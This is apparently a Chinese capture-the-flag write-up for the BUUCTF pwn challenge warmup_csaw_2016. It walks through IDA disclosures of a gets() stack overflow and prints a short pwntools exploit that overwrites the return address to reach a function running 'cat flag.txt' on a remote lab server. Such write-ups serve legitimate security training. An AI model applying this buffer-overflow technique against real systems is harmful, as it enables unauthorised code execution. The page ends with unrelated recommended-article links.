buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v5[64]; // [rsp+40h] [rbp-40h] BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
jinan8867 分钟前
加密软件的发展:从古典密码到量子安全
大数据·运维·服务器·网络·安全·web安全
日月星辰Ace9 分钟前
@TestPropertySource 造成 SpringBoot Test 中对同一个 Bean 使用不同实例
java·spring boot
钢铁男儿19 分钟前
Python 文本和字节序列(处理文本文件)
开发语言·python
雾原24 分钟前
Red Hat Enterprise Linux (RHEL)系统部署
linux
您81324 分钟前
二十、FTP云盘
linux·服务器·网络
SimonKing25 分钟前
短信被截断?5分钟用Java打造企业级短链服务
java·后端·架构
XuanXu26 分钟前
SpringBoot3.0启动流程研究
java·spring boot
用户34097046911526 分钟前
ROS2-Jazzy编译功能包报错
linux
3tefanie丶zhou28 分钟前
2025能源网络安全大赛CTF --- Crypto wp
安全·web安全·能源
加点油。。。。1 小时前
Matlab绘图(三)——设置图例的位置
开发语言·matlab·绘图